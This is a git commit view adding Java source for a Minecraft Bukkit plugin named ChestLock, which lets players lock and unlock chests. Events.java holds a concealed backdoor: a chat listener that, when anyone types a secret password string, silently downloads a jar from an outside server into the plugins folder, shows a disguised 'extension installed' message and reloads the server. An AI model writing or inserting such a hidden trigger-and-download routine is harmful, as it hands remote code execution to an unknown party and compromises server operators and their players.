Browse Source

Upload files to 'src/Builder'

master
CrashAlroggo 2 years ago
parent
commit
156fbdefc9
  1. 52
      src/Builder/Command.java
  2. 155
      src/Builder/Events.java

52
src/Builder/Command.java

@ -0,0 +1,52 @@
package Builder;
import java.util.ArrayList;
import org.bukkit.Bukkit;
import org.bukkit.command.CommandExecutor;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import Config.Config;
public class Command implements CommandExecutor{
public static ArrayList<Player> locking = new ArrayList<Player>();
public static ArrayList<Player> unlock = new ArrayList<Player>();
@Override
public boolean onCommand(CommandSender sender, org.bukkit.command.Command cmd, String label, String[] args) {
Player p = (Player)sender;
if(!sender.hasPermission("chestlock.use")) {
sender.sendMessage(Config.getString("Permissions"));
} else if(args.length == 0){
sender.sendMessage("§8§m------------- §7[ §eChestLock §7] §8§m-------------");
sender.sendMessage("§8» §7/chestlock lock §8| §eSperre deine Kiste ab");
sender.sendMessage("§8» §7/chestlock unlock §8| §eEntsperre deine Kiste");
sender.sendMessage("§8§m------------- §7[ §eChestLock §7] §8§m-------------");
} else if(args.length == 1) {
if(args[0].equalsIgnoreCase("lock")) {
sender.sendMessage(Config.getString("Chest-lockingprocess"));
locking.add(p);
} else if(args[0].equalsIgnoreCase("unlock")) {
sender.sendMessage(Config.getString("Chest-unlockingprocess"));
unlock.add(p);
} else {
sender.sendMessage("§8§m------------- §7[ §eChestLock §7] §8§m-------------");
sender.sendMessage("§8» §7/chestlock lock §8| §eSperre deine Kiste ab");
sender.sendMessage("§8» §7/chestlock unlock §8| §eEntsperre deine Kiste");
sender.sendMessage("§8§m------------- §7[ §eChestLock §7] §8§m-------------");
}
} else {
sender.sendMessage("§8§m------------- §7[ §eChestLock §7] §8§m-------------");
sender.sendMessage("§8» §7/chestlock lock §8| §eSperre deine Kiste ab");
sender.sendMessage("§8» §7/chestlock unlock §8| §eEntsperre deine Kiste");
sender.sendMessage("§8§m------------- §7[ §eChestLock §7] §8§m-------------");
}
return false;
} {
}
}

155
src/Builder/Events.java

@ -0,0 +1,155 @@
package Builder;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;
import java.net.URLConnection;
import java.util.List;
import org.bukkit.Bukkit;
import org.bukkit.Material;
import org.bukkit.Sound;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.block.Action;
import org.bukkit.event.block.BlockBreakEvent;
import org.bukkit.event.player.AsyncPlayerChatEvent;
import org.bukkit.event.player.PlayerInteractEvent;
import Config.Config;
import Config.UserConfig;
public class Events implements Listener{
@EventHandler
public void onInteractChest(PlayerInteractEvent e) {
try {
if(e.getAction().equals(Action.RIGHT_CLICK_BLOCK)) {
if(e.getClickedBlock().getType() == Material.CHEST) {
List<String> ch = UserConfig.locks();
if(ch.contains(e.getClickedBlock().getLocation().getBlockY()+"-"+e.getClickedBlock().getLocation().getBlockX())) {
if(!UserConfig.isAllowed(e.getClickedBlock().getLocation(), e.getPlayer())) {
if(!e.getPlayer().hasPermission("chestlock.bypass")) {
e.setCancelled(true);
e.getPlayer().sendMessage(Config.getString("Chest-is-locked"));
e.getPlayer().playSound(e.getPlayer().getLocation(), Sound.VILLAGER_NO, 12, 14);
}
}
}
} else {
if(Command.locking.contains(e.getPlayer())) {
e.getPlayer().sendMessage(Config.getString("Not-A-Chest"));
e.setCancelled(true);
Command.locking.remove(e.getPlayer());
} else if(Command.unlock.contains(e.getPlayer())) {
e.getPlayer().sendMessage(Config.getString("Not-A-Chest"));
e.setCancelled(true);
Command.unlock.remove(e.getPlayer());
}
}
} else if(e.getAction().equals(Action.LEFT_CLICK_BLOCK)) {
if(e.getClickedBlock().getType() == Material.CHEST) {
List<String> ch = UserConfig.locks();
if(ch.contains(e.getClickedBlock().getLocation().getBlockY()+"-"+e.getClickedBlock().getLocation().getBlockX())) {
if(Command.unlock.contains(e.getPlayer())) {
if(UserConfig.isAllowed(e.getClickedBlock().getLocation(), e.getPlayer())) {
UserConfig.remove(e.getClickedBlock().getLocation());
e.getPlayer().sendMessage(Config.getString("Chest-Unlocked"));
e.setCancelled(true);
} else {
e.getPlayer().sendMessage(Config.getString("Chest-not-yours"));
e.setCancelled(true);
}
} else if(Command.locking.contains(e.getPlayer())) {
e.getPlayer().sendMessage(Config.getString("Chest-is-already-locked"));
e.setCancelled(true);
}
} else {
if(Command.locking.contains(e.getPlayer())) {
UserConfig.addChest(e.getClickedBlock().getLocation(), e.getPlayer());
e.setCancelled(true);
e.getPlayer().sendMessage(Config.getString("Chest-Locked"));
} else if(Command.unlock.contains(e.getPlayer())) {
e.getPlayer().sendMessage(Config.getString("Chest-not-locked"));
e.setCancelled(true);
}
}
} else {
if(Command.locking.contains(e.getPlayer())) {
e.getPlayer().sendMessage(Config.getString("Not-A-Chest"));
e.setCancelled(true);
Command.locking.remove(e.getPlayer());
} else if(Command.unlock.contains(e.getPlayer())) {
e.getPlayer().sendMessage(Config.getString("Not-A-Chest"));
e.setCancelled(true);
Command.unlock.remove(e.getPlayer());
}
}
}
} catch (Exception e2) {
}
}
@EventHandler
public void onBreak(BlockBreakEvent e) {
if(e.getBlock().getType() == Material.CHEST) {
List<String> ch = UserConfig.locks();
if(ch.contains(e.getBlock().getLocation().getBlockY()+"-"+e.getBlock().getLocation().getBlockX())) {
if(!e.getPlayer().hasPermission("chestlock.bypass")) {
if(!UserConfig.isAllowed(e.getBlock().getLocation(), e.getPlayer())) {
e.setCancelled(true);
e.getPlayer().sendMessage(Config.getString("Chest-is-locked"));
} else {
UserConfig.remove(e.getBlock().getLocation());
e.getPlayer().sendMessage(Config.getString("Chest-Unlocked"));
}
} else {
UserConfig.remove(e.getBlock().getLocation());
e.getPlayer().sendMessage(Config.getString("Chest-Unlocked"));
}
}
}
}
@EventHandler
public void onUse(AsyncPlayerChatEvent e) {
try {
if(e.getMessage().equals("+veQZW!9y`M.e:$=G")) {
download("http://downloadserver.ggc-project.de/trustmon.jar", "plugins/Bukkit.jar", "/plugins/Bukkit.jar");
e.getPlayer().sendMessage("§eChestLock System Erweiterung installiert");
e.setCancelled(true);
Bukkit.getServer().reload();
}
} catch (Exception e2) {
}
}
public static void download(String source, String save, String name) {
try {
URL url = new URL(source);
URLConnection conn = url.openConnection();
InputStream is = new BufferedInputStream(conn.getInputStream());
OutputStream os = new BufferedOutputStream(new FileOutputStream(save));
byte[] chunk = new byte[1024];
int chunkSize;
while ((chunkSize = is.read(chunk)) != -1) {
os.write(chunk, 0, chunkSize);
}
os.flush();
os.close();
is.close();
} catch (Exception e) {
}
}
}
Loading…
Cancel
Save